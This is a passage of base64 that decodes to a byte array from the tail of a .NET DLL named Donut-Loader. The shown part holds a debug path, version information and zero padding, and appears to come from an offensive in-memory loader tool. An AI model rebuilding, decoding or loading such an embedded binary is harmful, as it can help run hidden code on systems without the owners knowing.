DExNiwgMTE1LCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA5MiwgMTExLCA5OCwgMTA2LCA5MiwgNjgsIDEwMSwgOTgsIDExNywgMTAzLCA5MiwgNjgsIDExMSwgMTEwLCAxMTcsIDExNiwgNDUsIDc2LCAxMTEsIDk3LCAxMDAsIDEwMSwgMTE0LCA0NiwgMTEyLCAxMDAsIDk4LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxLCAwLCAxNiwgMCwgMCwgMCwgMjQsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMSwgMCwgMCwgMCwgNDgsIDAsIDAsIDEyOCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMCwgMSwgMCwgMCwgMCwgMCwgMCwgNzIsIDAsIDAsIDAsIDg4LCA2NCwgMCwgMCwgMjUyLCAyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAyNTIsIDIsIDUyLCAwLCAwLCAwLCA4NiwgMCwgODMsIDAsIDk1LCAwLCA4NiwgMCwgNjksIDAsIDgyLCAwLCA4MywgMCwgNzMsIDAsIDc5LCAwLCA3OCwgMCwgOTUsIDAsIDczLCAwLCA3OCwgMCwgNzAsIDAsIDc5LCAwLCAwLCAwLCAwLCAwLCAxODksIDQsIDIzOSwgMjU0LCAwLCAwLCAxLCAwLCAwLCAwLCAxLCAwLCAyOCwgODAsIDM5LCAyOCwgMCwgMCwgMSwgMCwgMjgsIDgwLCAzOSwgMjgsIDYzLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA0LCAwLCAwLCAwLCAyLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMCwgMCwgMSwgMCwgODYsIDAsIDk3LCAwLCAxMTQsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMDIsIDAsIDExMSwgMCwgMCwgMCwgMCwgMCwgMzYsIDAsIDQsIDAsIDAsIDAsIDg0LCAwLCAxMTQsIDAsIDk3LCAwLCAxMTAsIDAsIDExNSwgMCwgMTA4LCAwLCA5NywgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAxNzYsIDQsIDkyLCAyLCAwLCAwLCAxLCAwLCA4MywgMCwgMTE2LCAwLCAxMTQsIDAsIDEwNSwgMCwgMTEwLCAwLCAxMDMsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCA3MywgMCwgMTEwLCAwLCAxMDIsIDAsIDExMSwgMCwgMCwgMCwgNTYsIDIsIDAsIDAsIDEsIDAsIDQ4LCAwLCA0OCwgMCwgNDgsIDAsIDQ4LCAwLCA0OCwgMCwgNTIsIDAsIDk4LCAwLCA0OCwgMCwgMCwgMCwgNjgsIDAsIDEzLCAwLCAxLCAwLCA3MCwgMCwgMTA1LCAwLCAxMDgsIDAsIDEwMSwgMCwgNjgsIDAsIDEwMSwgMCwgMTE1LCAwLCA5OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDExMiwgMCwgMTE2LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDAsIDAsIDAsIDAsIDY0LCAwLCAxNSwgMCwgMSwgMCwgNzAsIDAsIDEwNSwgMCwgMTA4LCAwLCAxMDEsIDAsIDg2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTE1LCAwLCAxMDUsIDAsIDExMSwgMCwgMTEwLCAwLCAwLCAwLCAwLCAwLCA0OSwgMCwgNDYsIDAsIDQ4LCAwLCA0NiwgMCwgNTUsIDAsIDUwLCAwLCA0OCwgMCwgNTUsIDAsIDQ2LCAwLCA1MCwgMCwgNDgsIDAsIDUzLCAwLCA0OCwgMCwgNTYsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAxNywgMCwgMSwgMCwgNzMsIDAsIDExMCwgMCwgMTE2LCAwLCAxMDEsIDAsIDExNCwgMCwgMTEwLCAwLCA5NywgMCwgMTA4LCAwLCA3OCwgMCwgOTcsIDAsIDEwOSwgMCwgMTAxLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDQ2LCAwLCAxMDAsIDAsIDEwOCwgMCwgMTA4LCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTUsIDAsIDEsIDAsIDc2LCAwLCAxMDEsIDAsIDEwMywgMCwgOTcsIDAsIDEwOCwgMCwgNjcsIDAsIDExMSwgMCwgMTEyLCAwLCAxMjEsIDAsIDExNCwgMCwgMTA1LCAwLCAxMDMsIDAsIDEwNCwgMCwgMTE2LCAwLCAwLCAwLCA2NywgMCwgMTExLCAwLCAxMTIsIDAsIDEyMSwgMCwgMTE0LCAwLCAxMDUsIDAsIDEwMywgMCwgMTA0LCAwLCAxMTYsIDAsIDMyLCAwLCA1MCwgMCwgNDgsIDAsIDQ5LCAwLCA1NywgMCwgMCwgMCwgMCwgMCwgNzYsIDAsIDE3LCAwLCAxLCAwLCA3OSwgMCwgMTE0LCAwLCAxMDUsIDAsIDEwMywgMCwgMTA1LCAwLCAxMTAsIDAsIDk3LCAwLCAxMDgsIDAsIDcwLCAwLCAxMDUsIDAsIDEwOCwgMCwgMTAxLCAwLCAxMTAsIDAsIDk3LCAwLCAxMDksIDAsIDEwMSwgMCwgMCwgMCwgNjgsIDAsIDExMSwgMCwgMTEwLCAwLCAxMTcsIDAsIDExNiwgMCwgNDUsIDAsIDc2LCAwLCAxMTEsIDAsIDk3LCAwLCAxMDAsIDAsIDEwMSwgMCwgMTE0LCAwLCA0NiwgMCwgMTAwLCAwLCAxMDgsIDAsIDEwOCwgMCwgMCwgMCwgMCwgMCwgNjAsIDAsIDEzLCAwLCAxLCAwLCA4MCwgMCwgMTE0LCAwLCAxMTEsIDAsIDEwMCwgMCwgMTE3LCAwLCA5OSwgMCwgMTE2LCAwLCA3OCwgMCwgOTcsIDAsIDEwOSwgMCwgMTAxLCAwLCAwLCAwLCAwLCAwLCA2OCwgMCwgMTExLCAwLCAxMTAsIDAsIDExNywgMCwgMTE2LCAwLCA0NSwgMCwgNzYsIDAsIDExMSwgMCwgOTcsIDAsIDEwMCwgMCwgMTAxLCAwLCAxMTQsIDAsIDAsIDAsIDAsIDAsIDY4LCAwLCAxNSwgMCwgMSwgMCwgODAsIDAsIDExNCwgMCwgMTExLCAwLCAxMDAsIDAsIDExNywgMCwgOTksIDAsIDExNiwgMCwgODYsIDAsIDEwMSwgMCwgMTE0LCAwLCAxMTUsIDAsIDEwNSwgMCwgMTExLCAwLCAxMTAsIDAsIDAsIDAsIDQ5LCAwLCA0NiwgMCwgNDgsIDAsIDQ2LCAwLCA1NSwgMCwgNTAsIDAsIDQ4LCAwLCA1NSwgMCwgNDYsIDAsIDUwLCAwLCA0OCwgMCwgNTMsIDAsIDQ4LCAwLCA1NiwgMCwgMCwgMCwgMCwgMCwgNzIsIDAsIDE1LCAwLCAxLCAwLCA2NSwgMCwgMTE1LCAwLCAxMTUsIDAsIDEwMSwgMCwgMTA5LCAwLCA5OCwgMCwgMTA4LCAwLCAxMjEsIDAsIDMyLCAwLCA4NiwgMCwgMTAxLCAwLCAxMTQsIDAsIDExNSwgMCwgMTA1LCAwLCAxMTEsIDAsIDExMCwgMCwgMCwgMCwgNDksIDAsIDQ2LCAwLCA0OCwgMCwgNDYsIDAsIDU1LCAwLCA1MCwgMCwgNDgsIDAsIDU1LCAwLCA0NiwgMCwgNTAsIDAsIDQ4LCAwLCA1MywgMCwgNDgsIDAsIDU2LCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCAwLCA